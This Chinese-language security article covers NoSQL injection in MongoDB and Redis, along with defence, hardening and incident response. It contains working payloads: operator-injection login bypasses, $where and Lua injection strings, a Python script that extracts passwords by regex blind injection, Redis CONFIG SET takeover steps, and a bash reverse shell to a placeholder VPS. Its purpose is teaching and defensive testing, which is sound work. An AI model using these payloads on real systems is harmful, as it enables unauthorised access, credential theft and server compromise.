1. 项目概述:当NoSQL数据库成为攻击者的新靶场
在传统Web安全领域,SQL注入(SQL Injection)早已是耳熟能详的“头号威胁”,其原理和防御手段也相对成熟。然而,随着互联网应用架构的演进,为了应对海量数据、高并发读写和灵活的数据模型需求,以MongoDB、Redis为代表的NoSQL数据库迅速崛起,成为现代应用,特别是微服务、实时分析、内容缓存等场景下的核心组件。很多开发者,甚至部分安全人员,可能还停留在“NoSQL天生免疫SQL注入”的旧有认知里。但事实是,攻击面从未消失,只是换了一种形式。NoSQL注入(NoSQL Injection)正是一种针对这类非关系型数据库的注入攻击手法,它利用应用程序对用户输入验证或过滤不严的漏洞,将恶意的查询操作符或数据注入到数据库查询中,从而达到绕过认证、窃取数据、篡改数据甚至执行任意代码的目的。
这个项目标题“NoSQL注入原理与利用(MongoDB, Redis)”直指当前Web安全领域一个既前沿又极具现实威胁的议题。它不仅仅是两个流行数据库的安全问题探讨,更是对现代应用架构安全盲区的一次深度剖析。对于后端开发者、安全工程师、渗透测试人员乃至架构师而言,理解NoSQL注入的原理、掌握其利用手法、并构建有效的防御策略,是保障系统纵深防御能力不可或缺的一环。本文将从一个从业者的实战视角出发,彻底拆解MongoDB和Redis这两种典型NoSQL数据库的注入原理,还原攻击者的利用链条,并分享在真实环境中如何检测、防御以及加固的经验。无论你是想加固自己的应用,还是进行授权的安全评估,这里的内容都将提供直接的参考。
2. NoSQL注入的核心原理与SQL注入的本质区别
要理解NoSQL注入,首先要跳出SQL注入的思维定式。SQL注入的核心在于“注入”一段能够改变原SQL语句语法结构的字符串,利用的是SQL语言本身的语法特性(如单引号闭合、注释符、联合查询等)。而NoSQL数据库大多不使用SQL,它们使用自己的查询语言或API(如MongoDB的BSON查询文档、Redis的命令),因此攻击手法截然不同。
2.1 查询语言的范式转变:从声明式到操作符驱动
SQL是一种声明式查询语言,你告诉数据库“你想要什么”(
SELECT * FROM users WHERE username = ‘admin’
),数据库引擎负责解析和执行。注入攻击就是篡改这个“声明”的内容。而像MongoDB的查询,本质上是向数据库传递一个结构化的文档(通常是JSON/BSON格式),这个文档里包含了查询条件和操作符。例如,
db.users.find({username: ‘admin’})
。攻击在这里演变为:能否让应用程序将用户可控的输入,错误地解析为查询操作符的一部分,而不仅仅是查询的值。
关键区别在于“操作符注入”
。在许多NoSQL查询中,像
$ne
(不等于),
$gt
(大于),
$regex
(正则匹配),
$where
(JavaScript执行) 等都是具有特殊功能的操作符。如果应用程序直接将用户输入拼接到查询对象中,而没有进行适当的类型转换或过滤,攻击者就可以注入这些操作符,从而完全改变查询的语义。
2.2 常见漏洞触发场景
NoSQL注入通常发生在以下场景:
-
未经验证的JSON/对象解析
:应用程序接收JSON格式的输入(如RESTful API),并直接使用
JSON.parse()或类似方法将其转换为对象,然后传递给查询函数。攻击者可以精心构造一个JSON,其属性名就是操作符。 -
字符串拼接构建查询
:虽然不推荐,但仍有代码会通过字符串拼接方式生成查询语句,这在一些ORM或早期代码中可能出现。例如,将用户输入直接拼接到一个查询字符串中,然后传递给
eval()或类似的动态执行函数。 - 框架或ORM的误用 :某些框架或ORM为了“方便”,提供了过于灵活的数据绑定方式,如果开发者不了解其内部机制,可能无意中引入注入点。例如,直接将HTTP请求的整个body或query参数对象传递给查询方法。
2.3 一个简单的思维模型
你可以这样类比:SQL注入像是伪造了一封完整的“指令信”混入其中;而NoSQL注入更像是你在对方的标准“申请表”(查询模板)的某个栏目里,填写的不是常规内容,而是一行具有特殊权限的“审批代码”(操作符)。数据库看到这行“代码”,就会以更高的权限去执行它。
理解了这一根本区别,我们就能深入到两种具体数据库的利用细节中。接下来,我们将分别聚焦MongoDB和Redis,看看攻击者是如何“见缝插针”的。
3. MongoDB注入:操作符注入与JavaScript执行的陷阱
MongoDB作为最流行的文档型数据库,其查询的灵活性和强大功能反而可能成为安全上的双刃剑。其注入主要分为两大类:
操作符注入
和
$where
/
$function
注入
。
3.1 操作符注入:绕过登录的经典案例
这是最常见、最直接的MongoDB注入形式。假设一个Node.js应用的登录逻辑如下(使用Mongoose ODM):
const username = req.body.username;
const password = req.body.password;
User.findOne({ username: username, password: password }, (err, user) => {
if(user) {
// 登录成功
}
});
看起来很正常?但如果
req.body.username
和
req.body.password
是攻击者直接可控的JSON对象呢?正常请求是
{“username”: “admin”, “password”: “123456”}
。攻击者可以发送:
{
“username”: {“$ne”: null},
“password”: {“$ne”: null}
}
当这个对象被直接用于查询时,MongoDB实际执行的查询条件是:
{username: {$ne: null}, password: {$ne: null}}
。意思是查找
username
字段不为空
且
password
字段不为空的文档。在大多数情况下,数据库里第一个用户(可能是管理员)就符合这个条件,从而导致攻击者在不知道密码的情况下成功登录。
更精细的攻击
:攻击者可以发送
{“username”: “admin”, “password”: {“$regex”: “^a”}}
,这会导致查询尝试匹配密码以字母“a”开头的用户,这可以用于对密码进行盲注,逐位猜测密码。
实操心得 :在代码审计时,要特别关注所有接收对象(Object)或字典(Dictionary)作为查询参数的地方。检查它们是否来自不可信的HTTP请求体(body)、查询字符串(query)或Cookie,并且是否未经任何“净化”(sanitization)就直接传入
find(),findOne(),update(),remove()等方法。一个重要的防御习惯是:永远从用户输入中提取 标量值 (字符串、数字),而不是直接使用整个对象。
3.2
$where
与
$function
:注入JavaScript代码
MongoDB提供了
$where
操作符,允许在查询中执行JavaScript表达式。这功能强大但极其危险。例如:
db.users.find({ $where: “this.username == ‘” + userInput + “‘” });
如果
userInput
是字符串
admin’ || ‘1’==’1
,那么拼接后的JavaScript代码变为
this.username == ‘admin’ || ‘1’==’1’
,这永远为真,导致返回所有用户文档。
更危险的是
$function
(MongoDB 4.4+)
,它允许定义更复杂的JavaScript函数。如果用户输入能影响函数体,可能导致任意代码执行。
注意事项 :除非绝对必要,否则应完全避免在查询中使用
$where和$function。如果必须使用,绝不能将任何用户输入直接拼接到JavaScript代码字符串中。应该像防御SQL注入一样,使用参数化查询的思想——将用户输入作为参数传递给一个固定的、安全的函数体。更好的做法是,寻找等价的聚合管道操作符(如$expr)来替代$where,因为它们是在更安全的沙箱中执行的。
3.3 盲注与时间注入
当查询结果不会直接回显时,攻击者可以利用MongoDB的操作符进行布尔盲注或时间盲注。
-
布尔盲注
:利用
$regex操作符进行正则匹配。通过构造不同的正则表达式,根据应用返回结果的不同(用户存在与否、数据长度变化),来逐位推断数据内容。例如,password: {$regex: “^a”}判断密码是否以a开头。 -
时间盲注
:利用
$where和JavaScript的sleep功能(通过循环或Date操作模拟)。例如,$where: “function(){if(this.username == ‘admin’){var d = new Date(); while(new Date() – d < 5000){}} return true;}”如果用户是admin,则查询会延迟5秒,攻击者通过观察响应时间来判断条件真假。
检测技巧
:在渗透测试中,如果怀疑存在MongoDB注入,可以尝试提交诸如
username[$ne]=1&password[$ne]=1
的POST数据(如果后端是类似
body-parser
的库且配置了
extended: true
,会解析为嵌套对象)。观察是否绕过了身份验证或返回了异常数据。使用Burp Suite的Intruder模块,配合操作符字典(如
$ne
,
$gt
,
$regex
,
$exists
)进行模糊测试,是发现这类漏洞的有效方法。
4. Redis注入:协议与命令的滥用
Redis是一种内存键值数据库,通常用作缓存、消息队列和会话存储。它本身不提供复杂的查询语言,而是通过一系列原子命令进行操作。因此,“Redis注入”的概念与MongoDB不同,它更多体现在: 1. 未授权访问 ; 2. 通过注入手段操纵应用程序生成的Redis命令 。
4.1 未授权访问:最大的“漏洞”
严格来说,这不是注入,但却是Redis最常见且最严重的安全问题。许多开发者默认Redis运行在可信内网,因此监听
0.0.0.0:6379
且未设置密码认证。攻击者一旦能连接到该服务,就可以执行任意命令,包括:
-
FLUSHALL清空所有数据。 -
SET任意键值,可能覆盖应用关键数据。 -
通过
CONFIG SET命令修改配置,将数据持久化到任意文件(如SSH公钥authorized_keys),从而获取服务器权限。 - 利用主从复制功能,让目标Redis从攻击者控制的恶意节点同步数据,从而在目标服务器上执行恶意代码。
加固是首要任务
:必须为Redis设置强密码(
requirepass
配置),并修改默认端口。通过防火墙或安全组严格限制可访问Redis的源IP。使用
rename-command
配置项,将危险命令(如
FLUSHALL
,
CONFIG
,
EVAL
)重命名为随机字符串,增加攻击难度。
4.2 命令注入:当用户输入成为命令的一部分
这才是更贴近“注入”本质的漏洞。考虑一个简单的场景:一个Web应用使用Redis存储用户个人资料,并通过一个键名来获取,键名由固定前缀和用户ID拼接而成。
# 有漏洞的代码
user_id = request.GET.get(‘id’)
key = “user:profile:” + user_id
data = redis_client.get(key)
如果攻击者传入的
id
参数是
0\r\n*2\r\n$3\r\nGET\r\n$9\r\nredis:key\r\n
(经过编码),会发生什么?这利用了Redis的协议规范。Redis客户端与服务器使用一种名为RESP(Redis Serialization Protocol)的协议通信。上面的输入实际上在协议层面注入了一个新的命令
GET redis:key
。如果Redis客户端使用的是低层级的连接方式(如直接使用socket发送命令),并且没有正确处理用户输入中的换行符等特殊字符,就可能造成命令注入,导致执行任意Redis命令。
更常见的场景是在Lua脚本中
。Redis支持通过
EVAL
命令执行Lua脚本。如果应用程序动态生成Lua脚本,并将用户输入拼接进去,就可能造成Lua代码注入。
-- 假设脚本拼接了用户输入的 itemId
local script = “return redis.call(‘GET’, ‘item:’ .. ARGV[1])”
redis_client.eval(script, 0, user_input_itemId)
如果
user_input_itemId
是
1’); redis.call(‘DEL’, ‘critical:key’); --
,拼接后的脚本可能破坏原有逻辑,执行额外的删除命令。
排查要点 :检查所有与Redis交互的代码,特别是使用
eval、execute_command(Python Redis库)或类似底层方法的地方。确保用户输入在拼接成命令参数或Lua脚本字符串之前,进行了严格的验证和转义。对于键名或值,最好将其视为不透明的字符串,避免将其解析为命令或协议的一部分。使用高级客户端库(如redis-py)的默认方法,通常能避免协议层面的注入,因为它们会负责协议的格式化。
4.3 利用SSRF攻击内网Redis
如果Web应用存在服务器端请求伪造(SSRF)漏洞,攻击者可以诱使应用服务器向本机或内网的Redis服务发送恶意请求。由于Redis协议是文本协议且简单,攻击者可以精心构造一个HTTP请求,其Body部分就是一条Redis命令(如
CONFIG SET dir /root/.ssh
),当应用服务器将其转发到Redis的6379端口时,就会被Redis解析并执行。这种攻击方式危害极大,因为它可以绕过网络层的访问控制。
5. 实战利用链:从注入到获取服务器权限
理解了原理,我们来看一个结合了漏洞利用的实战场景,展示NoSQL注入如何从一个简单的Web漏洞演变为严重的服务器沦陷。
5.1 场景构建:一个存在MongoDB注入的管理后台
假设我们有一个内容管理系统(CMS)的管理员登录接口,它使用MongoDB存储用户,并且存在操作符注入漏洞。我们通过Burp Suite抓包,将登录的JSON请求中的密码字段改为
{“$regex”: “^a”}
,发现返回了“用户名或密码错误”,而改为
{“$ne”: “”}
时,竟然登录成功了!这证实了注入点存在,并且我们可以绕过密码验证。
5.2 信息收集与数据提取
虽然我们以管理员身份进入了后台,但可能还不知道真正的密码。我们可以利用
$regex
操作符进行盲注,编写一个Python脚本,自动化地猜测管理员密码的每一位。
import requests
import string
url = “http://target.com/admin/login”
headers = {“Content-Type”: “application/json”}
# 假设已知管理员用户名为 admin
known_password = “”
charset = string.ascii_letters + string.digits + “!@#$%^&*”
for position in range(1, 20): # 假设密码最长20位
found = False
for char in charset:
# 构造正则,匹配已知部分+猜测的下一位
payload = {“username”: “admin”, “password”: {“$regex”: f“^{known_password}{re.escape(char)}”}}
resp = requests.post(url, json=payload, headers=headers)
if “登录成功” in resp.text: # 根据实际响应判断
known_password += char
print(f“[+] 第{position}位密码为: {char}, 当前已知: {known_password}“)
found = True
break
if not found:
print(f“[-] 第{position}位未找到,可能密码已结束。”)
break
print(f“[+] 最终密码可能为: {known_password}“)
通过这个脚本,我们可以逐步拖出管理员的明文密码。获取高权限账户的密码往往意味着更广阔的渗透空间。
5.3 权限提升与横向移动
进入后台后,我们寻找文件上传、配置修改等功能点。假设这个CMS有一个“修改网站配置”的功能,可以将一段JavaScript代码写入网站的全局页脚。我们写入一个JavaScript键盘记录器或者是一个指向我们控制服务器的Beacon。
更危险的是,如果这个后台存在“数据备份”或“执行命令”的功能(有些CMS允许管理员执行一些系统命令来清理缓存等),并且该功能因为信任了管理员身份而未做严格限制,我们就可以尝试命令注入,在服务器上建立一个反向Shell。
# 假设在“命令执行”输入框里,我们输入
; bash -c ‘bash -i >& /dev/tcp/your-vps-ip/4444 0>&1’
# 或者利用其他方法上传一个Web Shell
一旦获得服务器的Shell,内网横向移动就成为了可能。我们可以在服务器上寻找配置文件,里面可能包含数据库(包括MongoDB、Redis)的连接密码。如果Redis未设置密码或密码较弱,并且监听在内网,我们就可以从已攻陷的服务器直接连接内网Redis,实施之前提到的未授权访问攻击,进一步控制其他依赖此Redis的服务。
这个利用链清晰地展示了 :一个前端的NoSQL注入漏洞,如何与不安全的后台功能、不当的服务器配置相结合,形成一条完整的攻击路径,最终导致整个内网失守。防御必须层层设防,任何一个环节的疏忽都可能成为突破口。
6. 防御策略:从开发到部署的全链路加固
攻击手段层出不穷,但稳固的防御体系源于良好的开发习惯和运维规范。以下是从不同层面防御NoSQL注入的具体措施。
6.1 开发层:输入验证、参数化查询与最小权限
-
严格的输入验证与类型强制 :
- 白名单验证 :对于所有用户输入,定义明确的白名单(允许的字符、格式、长度、类型)。例如,用户名只允许字母数字,长度在3-20字符之间。
-
类型转换
:在将输入用于查询前,显式地将其转换为期望的类型。如果期望是字符串,确保它是字符串;如果期望是数字,使用
parseInt、Number()等并检查是否为有效数字。 永远不要相信客户端传来的类型 。 -
针对MongoDB
:在构建查询对象时,避免使用来自用户输入的对象。应该手动构建查询文档。
// 错误:直接使用req.body User.find(req.body.query); // 正确:提取标量值 const username = String(req.body.username); const status = parseInt(req.body.status); User.find({username: username, status: status});
-
使用安全的查询构造方法(参数化查询) :
-
MongoDB
:使用驱动或ODM(如Mongoose)提供的参数化方法。对于复杂查询,优先使用聚合管道(Aggregation Pipeline),它更结构化、更安全。避免使用字符串拼接来生成查询,尤其要禁用或严格审计
$where和$function的使用。 -
Redis
:使用官方或成熟的客户端库(如
redis-py,node-redis),并利用其提供的安全方法。避免自己拼接RESP协议字符串。对于Lua脚本,使用KEYS和ARGV数组来传递参数,而不是拼接字符串。-- 安全的方式 local key = KEYS[1] local value = ARGV[1] redis.call(‘SET’, key, value) -- 在应用端调用 client.eval(script, 1, ‘mykey’, ‘user_input_value’)
-
MongoDB
:使用驱动或ODM(如Mongoose)提供的参数化方法。对于复杂查询,优先使用聚合管道(Aggregation Pipeline),它更结构化、更安全。避免使用字符串拼接来生成查询,尤其要禁用或严格审计
-
实施最小权限原则 :
-
为应用程序连接数据库创建专用的账户,并授予其完成工作所必需的
最小权限
。例如,一个只读的报表服务账户,不应该有
insert、update、remove或dropDatabase的权限。 - 在Redis中,如果可能,使用不同密码的不同账户来区分不同应用或不同操作权限的服务。
-
为应用程序连接数据库创建专用的账户,并授予其完成工作所必需的
最小权限
。例如,一个只读的报表服务账户,不应该有
6.2 运维与架构层:网络隔离、认证与监控
-
网络隔离与访问控制 :
-
绝不暴露服务到公网
:MongoDB和Redis默认监听所有接口(0.0.0.0)。必须在配置文件中将其绑定到内网IP(如
127.0.0.1或192.168.x.x)。 - 使用防火墙 :在服务器或网络边界配置防火墙规则,只允许特定的应用服务器IP访问数据库的端口(如MongoDB的27017,Redis的6379)。
- 使用VPC/私有子网 :在云环境中,将数据库实例部署在私有子网中,只有位于公有子网或特定子网的应用服务器可以通过安全组规则访问。
-
绝不暴露服务到公网
:MongoDB和Redis默认监听所有接口(0.0.0.0)。必须在配置文件中将其绑定到内网IP(如
-
强制身份验证与加密 :
-
MongoDB
:启用访问控制(
security.authorization: enabled),创建具有强密码的用户和角色。启用TLS/SSL加密客户端到服务器的连接。 -
Redis
:务必设置
requirepass配置项,使用长且复杂的密码。考虑启用Redis 6.0+的ACL(访问控制列表)功能进行更细粒度的权限控制。虽然Redis通常在内网,但启用TLS(Redis 6.0+支持)可以防止同一网络内的流量嗅探。
-
MongoDB
:启用访问控制(
-
安全配置与漏洞管理 :
-
禁用危险命令/功能
:在Redis中,使用
rename-command将FLUSHALL,CONFIG,KEYS,SHUTDOWN等危险命令重命名为随机字符串或直接禁用(重命名为””)。 - 定期更新 :保持数据库、客户端驱动、操作系统和中间件的更新,及时修补已知漏洞。
-
日志与监控
:启用数据库的审计日志和慢查询日志。监控异常查询模式,例如大量失败的登录尝试、使用大量
$regex操作的查询、异常的eval命令执行等。设置告警机制。
-
禁用危险命令/功能
:在Redis中,使用
6.3 安全测试:将NoSQL注入纳入SDL
在软件开发生命周期(SDLC)中,安全测试环节必须包含NoSQL注入的检测。
- SAST(静态应用安全测试) :使用代码扫描工具,检查是否存在直接将用户输入对象传递给查询API的代码模式。
- DAST(动态应用安全测试) :使用Burp Suite、OWASP ZAP等渗透测试工具,配置扫描策略,主动发送包含NoSQL操作符的测试载荷(Payload)到所有参数点,包括JSON、表单、URL参数等。
-
手工测试
:安全人员应熟悉NoSQL注入的Payload,在测试RESTful API或GraphQL接口时,有意识地尝试注入
{“$gt”: “”}、{“$ne”: null}等操作符。
7. 排查与应急响应:当怀疑注入发生时
即使防护严密,也需要有发现和应对入侵的能力。如果你发现应用行为异常(如突然出现大量登录成功、数据被异常修改、服务器负载异常),可以按照以下步骤进行排查。
7.1 初步迹象与日志分析
-
应用日志
:检查Web服务器(Nginx/Apache)和应用日志(如Node.js、Python、Java应用日志),寻找异常的请求参数,特别是包含
$、{、}等特殊字符的请求体。关注短时间内来自同一IP的大量登录尝试。 -
数据库日志
:
-
MongoDB
:启用详细日志,查看
mongod.log。寻找包含$where、$regex或异常$操作符的查询语句。关注来自非预期IP地址的连接。 -
Redis
:Redis的日志相对简单,但可以通过
MONITOR命令实时查看所有命令(生产环境慎用,性能影响大)。更常见的是通过网络流量分析或应用侧日志来推断。
-
MongoDB
:启用详细日志,查看
- 系统监控 :CPU、内存、网络流量出现异常峰值,特别是在数据库端口上。
7.2 入侵确认与影响评估
- 数据库快照与比对 :如果怀疑数据被篡改,在确保安全的情况下,对生产数据库做一个快照,与之前的备份或已知的干净状态进行比对。检查核心表(用户表、订单表等)的异常记录。
-
检查进程与连接
:在数据库服务器上,使用
netstat -antp查看是否有未知的、持久的连接到数据库端口。检查是否有可疑的进程运行。 -
审查账户与权限
:立即检查数据库内所有用户账户,确认没有新增未知的、高权限账户。在Redis中,检查
requirepass是否被修改。
7.3 应急处理步骤
- 隔离 :如果确认被入侵,立即将受影响的应用服务器或数据库服务器从网络中断开,防止攻击者持续访问或横向移动。
- 取证 :在断网前,尽可能完整地保存日志、内存镜像和磁盘镜像,以备后续法律调查和根因分析。
- 消除后门 :根据排查结果,清除攻击者植入的Web Shell、恶意计划任务、SSH密钥等。
- 修复漏洞 :定位导致注入的代码缺陷,并按照前述防御策略进行修复。 切记,修复后要进行充分的测试 。
- 恢复与加固 :从干净的备份恢复数据。在恢复服务前,完成所有安全加固措施,包括修改所有相关密码(数据库、服务器、应用账户)、更新密钥、应用安全补丁等。
- 监控与复盘 :服务恢复后,加强监控。组织团队进行安全事件复盘,完善安全开发流程和应急响应预案。
安全是一个持续的过程,而非一劳永逸的状态。NoSQL注入作为随着技术栈演变而出现的新型威胁,要求开发者和运维者必须保持持续学习的心态,在享受NoSQL数据库带来的高性能与灵活性的同时,绝不能放松对安全性的要求。从每一次代码提交、每一次配置变更、每一次安全测试做起,才能构建起真正有韧性的系统。

482

被折叠的 条评论
为什么被折叠?



